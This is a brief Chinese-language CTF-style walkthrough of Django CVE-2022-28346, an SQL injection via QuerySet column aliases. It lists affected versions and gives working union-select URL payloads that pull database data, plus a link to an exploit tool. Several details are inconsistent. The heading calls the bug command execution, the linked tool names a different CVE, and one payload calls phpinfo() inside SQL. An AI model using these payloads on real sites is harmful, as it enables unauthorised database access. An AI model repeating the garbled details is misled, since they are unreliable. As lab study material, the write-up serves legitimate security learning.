1、命令执行漏洞
1.1、简介
Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。
1.2、漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。
1.3、漏洞影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
1.4、漏洞复现
浏览器访问
访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)
访问到demo/ 目录下,同样会出现报错信息
利用报错中提示的参数进行SQL注入
POC:http://[ip]:[port]/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3"--%201
验证漏洞存在,直接上工具解决战斗https://github.com/Saferman/CVE-2020-7471.git
亦或者在此注入发现版本号3.34.1,重新改造POC
POC: http://ip:port/demo/?field=demo.name" FROM "demo_user" union SELECT "1",phpinfo(),"3" --
通过ctrl+F 搜索 flag,取得最终的flag